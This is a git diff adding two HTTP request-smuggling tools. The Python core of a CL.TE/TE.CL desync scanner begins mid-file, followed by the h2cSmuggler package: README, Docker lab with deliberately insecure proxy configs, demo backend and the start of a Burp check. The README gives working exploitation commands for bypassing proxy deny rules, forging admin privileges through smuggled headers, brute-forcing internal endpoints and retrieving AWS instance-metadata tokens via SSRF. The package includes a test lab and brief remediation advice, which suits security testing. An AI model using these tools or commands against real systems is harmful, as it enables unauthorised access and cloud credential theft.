+from lib.Payload import Payload, Chunked, EndChunk
+from lib.EasySSL import EasySSL
+from lib.colorama import Fore, Style
+from urllib.parse import urlparse
+
+class Desyncr():
+ def __init__(self, configfile, smhost, smport=443, url="", method="POST", endpoint="/", SSLFlag=False, logh=None, smargs=None):
+ self._configfile = configfile
+ self._host = smhost
+ self._port = smport
+ self._method = method
+ self._endpoint = endpoint
+ self._vhost = smargs.vhost
+ self._url = url
+ self._timeout = float(smargs.timeout)
+ self.ssl_flag = SSLFlag
+ self._logh = logh
+ self._quiet = smargs.quiet
+ self._exit_early = smargs.exit_early
+ self._attempts = 0
+ self._cookies = []
+
+ def _test(self, payload_obj):
+ try:
+ web = EasySSL(self.ssl_flag)
+ web.connect(self._host, self._port, self._timeout)
+ web.send(str(payload_obj).encode())
+ #print(payload_obj)
+ start_time = datetime.now()
+ res = web.recv_nb(self._timeout)
+ end_time = datetime.now()
+ web.close()
+ if res is None:
+ delta_time = end_time - start_time
+ if delta_time.seconds < (self._timeout-1):
+ return (2, res, payload_obj) # Return code 2 if disconnected before timeout
+ return (1, res, payload_obj) # Return code 1 if connection timedout
+ # Filter out problematic characters
+ res_filtered = ""
+ for single in res:
+ if single > 0x7F:
+ res_filtered += '\x30'
+ else:
+ res_filtered += chr(single)
+ res = res_filtered
+ #if '504' in res:
+
+ #print("\n\n"+str(str(payload_obj)))
+ #print("\n\n"+res)
+ return (0, res, payload_obj) # Return code 0 if normal response returned
+ except Exception as exception_data:
+ #print(exception_data)
+ return (-1, None, payload_obj) # Return code -1 if some except occured
+
+ def _get_cookies(self):
+ RN = "\r\n"
+ try:
+ cookies = []
+ web = EasySSL(self.ssl_flag)
+ web.connect(self._host, self._port, 2.0)
+ p = Payload()
+ p.host = self._host
+ p.method = "GET"
+ p.endpoint = self._endpoint
+ p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN
+ p.header += "Host: __HOST__" + RN
+ p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN
+ p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN
+ p.header += "Content-Length: 0" + RN
+ p.body = ""
+ #print (str(p))
+ web.send(str(p).encode())
+ sleep(0.5)
+ res = web.recv_nb(2.0)
+ web.close()
+ if (res is not None):
+ res = res.decode().split("\r\n")
+ for elem in res:
+ if len(elem) > 11:
+ if elem[0:11].lower().replace(" ", "") == "set-cookie:":
+ cookie = elem.lower().replace("set-cookie:","")
+ cookie = cookie.split(";")[0] + ';'
+ cookies += [cookie]
+ info = ((Fore.CYAN + str(len(cookies))+ Fore.MAGENTA), self._logh)
+ print_info("Cookies : %s (Appending to the attack)" % (info[0]))
+ self._cookies += cookies
+ return True
+ except Exception as exception_data:
+ error = ((Fore.CYAN + "Unable to connect to host"+ Fore.MAGENTA), self._logh)
+ print_info("Error : %s" % (error[0]))
+ return False
+
+ def run(self):
+ RN = "\r\n"
+ mutations = {}
+
+ if not self._get_cookies():
+ return
+
+ if (self._configfile[1] != '/'):
+ self._configfile = os.path.dirname(os.path.realpath(__file__)) + "/configs/" + self._configfile
+
+ try:
+ f = open(self._configfile)
+ except:
+ error = ((Fore.CYAN + "Cannot find config file"+ Fore.MAGENTA), self._logh)
+ print_info("Error : %s" % (error[0]))
+ exit(1)
+
+ script = f.read()
+ f.close()
+
+ exec(script)
+
+ for mutation_name in mutations.keys():
+ if self._create_exec_test(mutation_name, mutations[mutation_name]) and self._exit_early:
+ break
+
+ if self._quiet:
+ sys.stdout.write("\r"+" "*100+"\r")
+
+ # ptype == 0 (Attack payload, timeout could mean potential TECL desync)
+ # ptype == 1 (Edgecase payload, expected to work)
+ def _check_tecl(self, payload, ptype=0):
+ te_payload = deepcopy(payload)
+ if (self._vhost == ""):
+ te_payload.host = self._host
+ else:
+ te_payload.host = self._vhost
+ te_payload.method = self._method
+ te_payload.endpoint = self._endpoint
+
+ if len(self._cookies) > 0:
+ te_payload.header += "Cookie: " + ''.join(self._cookies) + "\r\n"
+
+ if not ptype:
+ te_payload.cl = 6 # timeout val == 6, good value == 5
+ else:
+ te_payload.cl = 5 # timeout val == 6, good value == 5
+ te_payload.body = EndChunk+"X"
+ #print (te_payload)
+ return self._test(te_payload)
+
+ # ptype == 0 (timeout payload, timeout could mean potential CLTE desync)
+ # ptype == 1 (Edgecase payload, expected to work)
+ def _check_clte(self, payload, ptype=0):
+ te_payload = deepcopy(payload)
+ if (self._vhost == ""):
+ te_payload.host = self._host
+ else:
+ te_payload.host = self._vhost
+ te_payload.method = self._method
+ te_payload.endpoint = self._endpoint
+
+ if len(self._cookies) > 0:
+ te_payload.header += "Cookie: " + ''.join(self._cookies) + "\r\n"
+
+ if not ptype:
+ te_payload.cl = 4 # timeout val == 4, good value == 11
+ else:
+ te_payload.cl = 11 # timeout val == 4, good value == 11
+ te_payload.body = Chunked("Z")+EndChunk
+ #print (te_payload)
+ return self._test(te_payload)
+
+
+ def _create_exec_test(self, name, te_payload):
+ def pretty_print(name, dismsg):
+ spacing = 13
+ sys.stdout.write("\r"+" "*100+"\r")
+ msg = Style.BRIGHT + Fore.MAGENTA + "[%s]%s: %s" % \
+ (Fore.CYAN + name + Fore.MAGENTA, " "*(spacing-len(name)), dismsg)
+ sys.stdout.write(CF(msg + Style.RESET_ALL))
+ sys.stdout.flush()
+
+ if dismsg[-1] == "\n":
+ ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
+ plaintext = ansi_escape.sub('', msg)
+ if self._logh is not None:
+ self._logh.write(plaintext)
+ self._logh.flush()
+
+
+ def write_payload(smhost, payload, ptype):
+ furl = smhost.replace('.', '_')
+ if (self.ssl_flag):
+ furl = "https_" + furl
+ else:
+ furl = "http_" + furl
+ if os.path.islink(sys.argv[0]):
+ _me = os.readlink(sys.argv[0])
+ else:
+ _me = sys.argv[0]
+ fname = os.path.realpath(os.path.dirname(_me)) + "/payloads/%s_%s_%s.txt" % (furl,ptype,name)
+ pretty_print("CRITICAL", "%s Payload: %s URL: %s\n" % \
+ (Fore.MAGENTA+ptype, Fore.CYAN+fname+Fore.MAGENTA, Fore.CYAN+self._url))
+ with open(fname, 'wb') as file:
+ file.write(bytes(str(payload),'utf-8'))
+
+ # First lets test TECL
+ pretty_print(name, "Checking TECL...")
+ start_time = time.time()
+ tecl_res = self._check_tecl(te_payload, 0)
+ tecl_time = time.time()-start_time
+
+ # Next lets test CLTE
+ pretty_print(name, "Checking CLTE...")
+ start_time = time.time()
+ clte_res = self._check_clte(te_payload, 0)
+ clte_time = time.time()-start_time
+
+ if (clte_res[0] == 1):
+ # Potential CLTE found
+ # Lets check the edge case to be sure
+ clte_res2 = self._check_clte(te_payload, 1)
+ if clte_res2[0] == 0:
+ self._attempts += 1
+ if (self._attempts < 3):
+ return self._create_exec_test(name, te_payload)
+ else:
+ dismsg = Fore.RED + "Potential CLTE Issue Found" + Fore.MAGENTA + " - " + Fore.CYAN + self._method + Fore.MAGENTA + " @ " + Fore.CYAN + ["http://","https://",][self.ssl_flag]+ self._host + self._endpoint + Fore.MAGENTA + " - " + Fore.CYAN + self._configfile.split('/')[-1] + "\n"
+ pretty_print(name, dismsg)
+
+ # Write payload out to file
+ write_payload(self._host, clte_res[2], "CLTE")
+ self._attempts = 0
+ return True
+
+ else:
+ # No edge behavior found
+ dismsg = Fore.YELLOW + "CLTE TIMEOUT ON BOTH LENGTH 4 AND 11" + ["\n", ""][self._quiet]
+ pretty_print(name, dismsg)
+
+ elif (tecl_res[0] == 1):
+ # Potential TECL found
+ # Lets check the edge case to be sure
+ tecl_res2 = self._check_tecl(te_payload, 1)
+ if tecl_res2[0] == 0:
+ self._attempts += 1
+ if (self._attempts < 3):
+ return self._create_exec_test(name, te_payload)
+ else:
+ #print (str(tecl_res2[2]))
+ #print (tecl_res2[1])
+ dismsg = Fore.RED + "Potential TECL Issue Found" + Fore.MAGENTA + " - " + Fore.CYAN + self._method + Fore.MAGENTA + " @ " + Fore.CYAN + ["http://","https://",][self.ssl_flag]+ self._host + self._endpoint + Fore.MAGENTA + " - " + Fore.CYAN + self._configfile.split('/')[-1] + "\n"
+ pretty_print(name, dismsg)
+
+ # Write payload out to file
+ write_payload(self._host, tecl_res[2], "TECL")
+ self._attempts = 0
+ return True
+ else:
+ # No edge behavior found
+ dismsg = Fore.YELLOW + "TECL TIMEOUT ON BOTH LENGTH 6 AND 5" + ["\n", ""][self._quiet]
+ pretty_print(name, dismsg)
+
+
+ #elif ((tecl_res[0] == 1) and (clte_res[0] == 1)):
+ # # Both types of payloads not supported
+ # dismsg = Fore.YELLOW + "NOT SUPPORTED" + ["\n", ""][self._quiet]
+ # pretty_print(name, dismsg)
+ elif ((tecl_res[0] == -1) or (clte_res[0] == -1)):
+ # ERROR
+ dismsg = Fore.YELLOW + "SOCKET ERROR" + ["\n", ""][self._quiet]
+ pretty_print(name, dismsg)
+
+ elif ((tecl_res[0] == 0) and (clte_res[0] == 0)):
+ # No Desync Found
+ tecl_msg = (Fore.MAGENTA + " (TECL: " + Fore.CYAN +"%.2f" + Fore.MAGENTA + " - " + \
+ Fore.CYAN +"%s" + Fore.MAGENTA + ")") % (tecl_time, tecl_res[1][9:9+3])
+
+ clte_msg = (Fore.MAGENTA + " (CLTE: " + Fore.CYAN +"%.2f" + Fore.MAGENTA + " - " + \
+ Fore.CYAN +"%s" + Fore.MAGENTA + ")") % (clte_time, clte_res[1][9:9+3])
+
+ dismsg = Fore.GREEN + "OK" + tecl_msg + clte_msg + ["\n", ""][self._quiet]
+ pretty_print(name, dismsg)
+
+ elif ((tecl_res[0] == 2) or (clte_res[0] == 2)):
+ # Disconnected
+ dismsg = Fore.YELLOW + "DISCONNECTED" + ["\n", ""][self._quiet]
+ pretty_print(name, dismsg)
+
+ self._attempts = 0
+ return False
+
+def process_uri(uri):
+ u = urlparse(uri)
+
+ if u.scheme == "https":
+ ssl_flag = True
+ std_port = 443
+ elif u.scheme == "http":
+ ssl_flag = False
+ std_port = 80
+ else:
+ print_info("Error malformed URL not supported: %s" % (Fore.CYAN + uri))
+ exit(1)
+
+ if u.port:
+ return (u.hostname, u.port, u.path, ssl_flag)
+ else:
+ return (u.hostname, std_port, u.path, ssl_flag)
+
+def CF(text):
+ global NOCOLOR
+ if NOCOLOR:
+ ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
+ text = ansi_escape.sub('', text)
+ return text
+
+def banner(sm_version):
+ print(CF(Fore.CYAN))
+ print(CF(r" ______ _ "))
+ print(CF(r" / _____) | | "))
+ print(CF(r"( (____ ____ _ _ ____ ____| | _____ ____ "))
+ print(CF(r" \____ \| \| | | |/ _ |/ _ | || ___ |/ ___)"))
+ print(CF(r" _____) ) | | | |_| ( (_| ( (_| | || ____| | "))
+ print(CF(r"(______/|_|_|_|____/ \___ |\___ |\_)_____)_| "))
+ print(CF(r" (_____(_____| "))
+ print(CF(r""))
+ print(CF(r" @defparam %s"%(sm_version)))
+ print(CF(Style.RESET_ALL))
+
+def print_info(msg, file_handle=None):
+ ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
+ msg = Style.BRIGHT + Fore.MAGENTA + "[%s] %s"%(Fore.CYAN+'+'+Fore.MAGENTA, msg) + Style.RESET_ALL
+ plaintext = ansi_escape.sub('', msg)
+ print(CF(msg))
+ if file_handle is not None:
+ file_handle.write(plaintext+"\n")
+
+if __name__ == "__main__":
+ global NOCOLOR
+ if sys.version_info < (3, 0):
+ print("Error: Smuggler requires Python 3.x")
+ sys.exit(1)
+
+ Parser = argparse.ArgumentParser()
+ Parser.add_argument('-u', '--url', help="Target URL with Endpoint")
+ Parser.add_argument('-v', '--vhost', default="", help="Specify a virtual host")
+ Parser.add_argument('-x', '--exit_early', action='store_true',help="Exit scan on first finding")
+ Parser.add_argument('-m', '--method', default="POST", help="HTTP method to use (e.g GET, POST) Default: POST")
+ Parser.add_argument('-l', '--log', help="Specify a log file")
+ Parser.add_argument('-q', '--quiet', action='store_true', help="Quiet mode will only log issues found")
+ Parser.add_argument('-t', '--timeout', default=5.0, help="Socket timeout value Default: 5")
+ Parser.add_argument('--no-color', action='store_true', help="Suppress color codes")
+ Parser.add_argument('-c', '--configfile', default="default.py", help="Filepath to the configuration file of payloads")
+ Args = Parser.parse_args() # returns data from the options specified (echo)
+
+ NOCOLOR = Args.no_color
+ if os.name == 'nt':
+ NOCOLOR = True
+
+ Version = "v1.1"
+ banner(Version)
+
+ if sys.version_info < (3, 0):
+ print_info("Error: Smuggler requires Python 3.x")
+ sys.exit(1)
+
+ # If the URL argument is not specified then check stdin
+ if Args.url is None:
+ if sys.stdin.isatty():
+ print_info("Error: no direct URL or piped URL specified\n")
+ Parser.print_help()
+ exit(1)
+ Servers = sys.stdin.read().split("\n")
+ else:
+ Servers = [Args.url + " " + Args.method]
+
+ FileHandle = None
+ if Args.log is not None:
+ try:
+ FileHandle = open(Args.log, "w")
+ except:
+ print_info("Error: Issue with log file destination")
+ print(Parser.print_help())
+ sys.exit(1)
+
+ for server in Servers:
+ # If the next on the list is blank, continue
+ if server == "":
+ continue
+ # Tokenize
+ server = server.split(" ")
+
+ # This is for the stdin case, if no method was specified default to GET
+ if len(server) == 1:
+ server += [Args.method]
+
+ # If a protocol is not specified then default to https
+ if server[0].lower().strip()[0:4] != "http":
+ server[0] = "https://" + server[0]
+
+
+ host, port, endpoint, SSLFlagval = process_uri(server[0])
+ method = server[1].upper()
+ configfile = Args.configfile
+
+ print_info("URL : %s"%(Fore.CYAN + server[0]), FileHandle)
+ print_info("Method : %s"%(Fore.CYAN + method), FileHandle)
+ print_info("Endpoint : %s"%(Fore.CYAN + endpoint), FileHandle)
+ print_info("Configfile : %s"%(Fore.CYAN + configfile), FileHandle)
+ print_info("Timeout : %s"%(Fore.CYAN + str(float(Args.timeout)) + Fore.MAGENTA + " seconds"), FileHandle)
+
+ sm = Desyncr(configfile, host, port, url=server[0], method=method, endpoint=endpoint, SSLFlag=SSLFlagval, logh=FileHandle, smargs=Args)
+ sm.run()
+
+
+ if FileHandle is not None:
+ FileHandle.close()
diff --git a/tools/h2csmuggler/.gitignore b/tools/h2csmuggler/.gitignore
new file mode 100644
index 000000000..593281013
--- /dev/null
+++ b/tools/h2csmuggler/.gitignore
@@ -0,0 +1,2 @@
+*.sw*
+*.pem
diff --git a/tools/h2csmuggler/LICENSE b/tools/h2csmuggler/LICENSE
new file mode 100644
index 000000000..0e35fec94
--- /dev/null
+++ b/tools/h2csmuggler/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2020 BishopFox
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/tools/h2csmuggler/README.md b/tools/h2csmuggler/README.md
new file mode 100644
index 000000000..5ca950b8c
--- /dev/null
+++ b/tools/h2csmuggler/README.md
@@ -0,0 +1,198 @@
+
+# h2cSmuggler
+
+![License](https://img.shields.io/badge/license-MIT-lightgrey.svg)
+![Python version](https://img.shields.io/badge/python-3.x-blue.svg)
+
+## Description
+
+h2cSmuggler smuggles HTTP traffic past insecure edge-server `proxy_pass` configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.
+
+
+
+
+See my detailed write-up below for:
+* Technical breakdown of the vulnerability
+* Insecure-by-default services
+* Remediation guidance
+
+Here: [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)
+
+### How to test?
+
+Any proxy endpoint that forwards h2c upgrade headers can be affected. Because h2c is intended to be performed only on cleartext channels, detection on HTTPS services often yields true positives.
+
+By contrast, HTTP services may result in false positives. For example, h2c-enabled proxies may respond to the upgrade instead of forwarding it to an h2c back end.
+
+Use the `--scan-list` option to test one or more web servers to look for affected `proxy_pass` endpoints. Consider using a list of directories discovered from directory enumeration, such as:
+
+**urls.txt**
+```
+https://www.example.com/
+https://www.example.com/api/
+https://www.example.com/auth/
+https://www.example.com/admin/
+https://www.example.com/payments/
+...omitted for brevity...
+```
+
+Run h2cSmuggler with the list of endpoints and a total number of threads:
+
+`./h2csmuggler.py --scan-list urls.txt --threads 5`
+
+Or, an individual test can be performed with:
+
+`./h2csmuggler.py -x https://www.example.com/api/ --test`
+
+#### Detecting with other popular tools:
+* [Burp Extension (Active Scan check)](https://github.com/BishopFox/h2csmuggler/blob/master/extensions/BurpExtension/h2cSmugglingCheck.py)
+* Nuclei-Template (Coming soon! [Requires this issue to be fixed](https://github.com/projectdiscovery/nuclei/issues/256#issuecomment-679038443))
+### Exploitation
+
+Once you have identified an affected endpoint that can be used for tunneling, you can now access or brute-force internal endpoints on the back-end server and provide custom verbs or headers. In the [demo below](#test-environment-and-demo), we demonstrate accessing an internal `/flag` endpoint by using h2c smuggling to bypass proxy deny rules.
+
+To remediate, do not forward user-supplied values for `Upgrade` or `Connection` headers. See the [technical post](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c) for additional guidance.
+
+## Install Instructions
+
+The only dependency is the Python hyper-h2 library:
+```sh
+pip3 install h2
+```
+
+### Test Environment and Demo
+The test environment will allow you to experiment with h2cSmuggler in a controlled environment. `docker-compose` will simulate three chains of proxies that lead to an h2c-enabled Golang back end:
+
+```
+TCP port: Description
+======== ===========
+8000: HTTP h2c backend
+8001: HAProxy -> h2c backend (Insecure default configuration)
+8002: nginx -> h2c backend (Insecure custom configuration)
+8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)
+```
+
+
+[1] Generate Certificates and spin up the environment with `docker-compose`:
+```sh
+# Generate certs
+./configs/generate-certificates.sh
+
+# Activate services
+docker-compose up
+```
+
+All of the proxies deny access to the `/flag` endpoint accessible on the h2c back end. Let's attempt to access the forbidden endpoint via the HAProxy server running on port 8001:
+
+
+
+
+We can use h2cSmuggler to confirm the proxy's insecure configuration using `--test` (or `-t`):
+
+
+
+Now, let's use h2cSmuggler to perform an h2c upgrade, tunnel our HTTP/2 traffic through the proxy, and request the `/flag` endpoint from the back end, bypassing the proxy's access control:
+
+
+
+
+For a deeper explanation of what is happening, check out the [technical writeup](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c).
+
+### Usage
+
+h2cSmuggler uses a familiar curl-like syntax for describing the smuggled request:
+```sh
+usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
+ [url]
+
+Detect and exploit insecure forwarding of h2c upgrades.
+
+positional arguments:
+ url
+
+optional arguments:
+ -h, --help show this help message and exit
+ --scan-list SCAN_LIST
+ list of URLs for scanning
+ --threads THREADS # of threads (for use with --scan-list)
+ --upgrade-only drop HTTP2-Settings from outgoing Connection header
+ -x PROXY, --proxy PROXY
+ proxy server to try to bypass
+ -i WORDLIST, --wordlist WORDLIST
+ list of paths to bruteforce
+ -X REQUEST, --request REQUEST
+ smuggled verb
+ -d DATA, --data DATA smuggled data
+ -H HEADER, --header HEADER
+ smuggled headers
+ -m MAX_TIME, --max-time MAX_TIME
+ socket timeout in seconds (type: float; default 10)
+ -t, --test test a single proxy server
+ -v, --verbose
+```
+### Examples
+1\. Scanning a list of URLs (e.g., `https://example.com:443/api/`, `https://example.com:443/payments`, `https://sub.example.com:443/`) to identify `proxy_pass` endpoints that are susceptible to smuggling (be careful with thread counts when testing a single server):
+
+```
+./h2csmuggler.py --scan-list urls.txt --threads 5
+```
+
+Or, to redirect output to a file. Use stderr (`2>`) and stdout (`1>`). The stderr stream contains errors (e.g., SSL handshake/timeout issues), while stdout contains results.
+
+```
+./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
+```
+
+2\. Sending a smuggled POST request past `https://edgeserver` to an internal endpoint:
+```
+./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
+```
+
+3\. Brute-forcing internal endpoints (using HTTP/2 multiplexing), where `dirs.txt` represents a list of paths (e.g., `/api/`, `/admin/`).
+```
+/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
+```
+
+4\. Exploiting `Host` header SSRF over h2c smuggling (e.g., AWS metadata IMDSv2):
+
+Retrieving the token:
+```
+./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
+```
+
+Transmitting the token:
+```
+./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
+```
+5\. Spoofing an IP address with the `X-Forwarded-For` header to access an internal dashboard:
+```
+./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
+```
+### FAQ
+
+**Q: Why are there multiple responses from the server?**
+
+A: The first response is the data response to the original upgrade request initiated in HTTP/1.1, per the h2c upgrade protocol. The following responses are from the smuggled request.
+
+**Q: I received a "101 Switching Protocols" but I'm not receiving any data from the remote server.**
+
+A: I observed this behavior in my tests and found that some servers respond with a 101 status even if they do not actually support HTTP/2.
+
+**Q: Is establishing an h2c tunnel always a vulnerability?**
+
+A: No. Consider a TLS-terminating TCP load balancer (e.g., ELB) proxying directly to an h2c-compatible back end. Although you may be able to establish an h2c connection, if there are no access controls being enforced, then there are no access controls to bypass, or privilege gained by initiating this tunnel.
+
+**Q: Why does the smuggled request URI require a scheme? What is it used for?**
+
+A: The HTTP/2 protocol requires a `:scheme` psuedo-header. For our use case, `http` vs. `https` likely doesn't matter. For more details, see [HTTP/2 RFC: Section 8.1.2.3](https://http2.github.io/http2-spec/#rfc.section.8.1.2.3).
+
+**Q: What should I use as the hostname for the back-end server?**
+
+A: It's best to start with the same hostname as the edge server. Next, try experimenting with alternative hostname values.
+
+
+### Author
+
+Twitter: [@theBumbleSec](https://twitter.com/theBumbleSec)
+
+GitHub: [the-bumble](https://github.com/the-bumble/)
diff --git a/tools/h2csmuggler/configs/Dockerfile-backend b/tools/h2csmuggler/configs/Dockerfile-backend
new file mode 100644
index 000000000..a51061439
--- /dev/null
+++ b/tools/h2csmuggler/configs/Dockerfile-backend
@@ -0,0 +1,10 @@
+FROM golang:1.14-alpine
+
+RUN apk add --no-cache git
+WORKDIR /go/src/app
+COPY demo.go .
+
+RUN go get -d -v ./...
+RUN go install -v ./...
+
+CMD ["app"]
diff --git a/tools/h2csmuggler/configs/generate-certificates.sh b/tools/h2csmuggler/configs/generate-certificates.sh
new file mode 100755
index 000000000..8bd619f8c
--- /dev/null
+++ b/tools/h2csmuggler/configs/generate-certificates.sh
@@ -0,0 +1,17 @@
+#!/bin/bash
+
+if [ $(basename $PWD) == "configs" ]; then
+ PREFIX="."
+else
+ PREFIX="configs"
+fi
+
+# Delete previous
+rm $PREFIX/key.pem $PREFIX/cert.pem $PREFIX/haproxy.pem 2> /dev/null
+# Delete empty dirs created by docker-compose
+rmdir $PREFIX/key.pem $PREFIX/cert.pem $PREFIX/haproxy.pem 2>/dev/null
+
+openssl genrsa > $PREFIX/key.pem
+openssl req -new -x509 -key $PREFIX/key.pem -out $PREFIX/cert.pem -days 365 -nodes \
+ -subj "/C=US/ST=Test/L=Test/O=Test/OU=Test/CN=localhost"
+cat $PREFIX/key.pem $PREFIX/cert.pem > $PREFIX/haproxy.pem
diff --git a/tools/h2csmuggler/configs/haproxy.cfg b/tools/h2csmuggler/configs/haproxy.cfg
new file mode 100644
index 000000000..698a94571
--- /dev/null
+++ b/tools/h2csmuggler/configs/haproxy.cfg
@@ -0,0 +1,12 @@
+defaults
+ mode http
+ timeout connect 5000
+ timeout client 10000
+ timeout server 10000
+frontend http-in
+ bind *:80
+ bind *:443 ssl crt /tmp/haproxy.pem
+ default_backend forward_default
+backend forward_default
+ http-request deny if { path -i -m beg /flag }
+ server s1 backend:80
diff --git a/tools/h2csmuggler/configs/nginx.conf b/tools/h2csmuggler/configs/nginx.conf
new file mode 100644
index 000000000..f76012b42
--- /dev/null
+++ b/tools/h2csmuggler/configs/nginx.conf
@@ -0,0 +1,21 @@
+server {
+ listen 443 ssl http2;
+ server_name nginx localhost;
+
+ ssl_certificate /tmp/cert.pem;
+ ssl_certificate_key /tmp/key.pem;
+
+ access_log /var/log/nginx/access.log;
+ error_log /var/log/nginx/error.log;
+
+ location / {
+ proxy_pass http://backend:80/;
+ proxy_http_version 1.1;
+ proxy_set_header Upgrade $http_upgrade;
+ proxy_set_header Connection $http_connection;
+ }
+
+ location /flag {
+ deny all;
+ }
+}
diff --git a/tools/h2csmuggler/configs/nuster.cfg b/tools/h2csmuggler/configs/nuster.cfg
new file mode 100644
index 000000000..9ff0c1338
--- /dev/null
+++ b/tools/h2csmuggler/configs/nuster.cfg
@@ -0,0 +1,14 @@
+global
+ master-worker # since v3
+defaults
+ mode http
+ timeout connect 5000
+ timeout client 10000
+ timeout server 10000
+frontend fe
+ bind *:80
+ bind *:443 ssl crt /tmp/haproxy.pem
+ default_backend be1
+backend be1
+ http-request deny if { path -i -m beg /flag }
+ server s1 haproxy:80
diff --git a/tools/h2csmuggler/demo.go b/tools/h2csmuggler/demo.go
new file mode 100644
index 000000000..fc40f9962
--- /dev/null
+++ b/tools/h2csmuggler/demo.go
@@ -0,0 +1,45 @@
+// Lightly modified example from: https://github.com/thrawn01/h2c-golang-example
+package main
+
+import (
+ "fmt"
+ "golang.org/x/net/http2"
+ "golang.org/x/net/http2/h2c"
+ "net/http"
+ "os"
+)
+
+func checkErr(err error, msg string) {
+ if err == nil {
+ return
+ }
+ fmt.Printf("ERROR: %s: %s\n", msg, err)
+ os.Exit(1)
+}
+
+func main() {
+ H2CServerUpgrade()
+}
+
+// This server supports "H2C upgrade" and "H2C prior knowledge" along with
+// standard HTTP/2 and HTTP/1.1 that golang natively supports.
+func H2CServerUpgrade() {
+ h2s := &http2.Server{}
+
+ handler := http.NewServeMux()
+ handler.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
+ fmt.Fprintf(w, "Hello, %v, http: %v", r.URL.Path, r.TLS == nil)
+ })
+
+ handler.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
+ fmt.Fprintf(w, "You got the flag!");
+ })
+
+ server := &http.Server{
+ Addr: "0.0.0.0:80",
+ Handler: h2c.NewHandler(handler, h2s),
+ }
+
+ fmt.Printf("Listening [0.0.0.0:80]...\n")
+ checkErr(server.ListenAndServe(), "while listening")
+}
diff --git a/tools/h2csmuggler/docker-compose.yml b/tools/h2csmuggler/docker-compose.yml
new file mode 100644
index 000000000..8969a9d43
--- /dev/null
+++ b/tools/h2csmuggler/docker-compose.yml
@@ -0,0 +1,46 @@
+version: '3'
+services:
+ backend:
+ build:
+ context: .
+ dockerfile: ./configs/Dockerfile-backend
+ expose:
+ - 8000
+ ports:
+ - "8000:80"
+ haproxy:
+ image: haproxy:latest
+ expose:
+ - 443
+ ports:
+ - "8001:443"
+ volumes:
+ - ./configs/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro
+ - ./configs/haproxy.pem:/tmp/haproxy.pem
+ links:
+ - backend
+ nginx:
+ image: nginx:latest
+ expose:
+ - 443
+ ports:
+ - "8002:443"
+ volumes:
+ - ./configs/nginx.conf:/etc/nginx/conf.d/vhost.conf:ro
+ - ./configs/key.pem:/tmp/key.pem
+ - ./configs/cert.pem:/tmp/cert.pem
+ links:
+ - backend
+ nuster:
+ image: nuster/nuster:latest
+ expose:
+ - 80
+ - 443
+ ports:
+ - "8003:443"
+ volumes:
+ - ./configs/nuster.cfg:/etc/nuster/nuster.cfg:ro
+ - ./configs/haproxy.pem:/tmp/haproxy.pem
+ links:
+ - backend
+ - haproxy
diff --git a/tools/h2csmuggler/extensions/BurpExtension/h2cSmugglingCheck.py b/tools/h2csmuggler/extensions/BurpExtension/h2cSmugglingCheck.py
new file mode 100644
index 000000000..d5615ebf3
--- /dev/null
+++ b/tools/h2csmuggler/extensions/BurpExtension/h2cSmugglingCheck.py
@@ -0,0 +1,151 @@
+from burp import IBurpExtender
+from burp import IScannerCheck
+from burp import IScanIssue
+
+
+class BurpExtender(IBurpExtender, IScannerCheck):
+
+ def registerExtenderCallbacks(self, callbacks):
+ self._callbacks = callbacks
+ self._helpers = callbacks.getHelpers()
+ callbacks.setExtensionName("h2cSmuggler")
+ callbacks.registerScannerCheck(self)
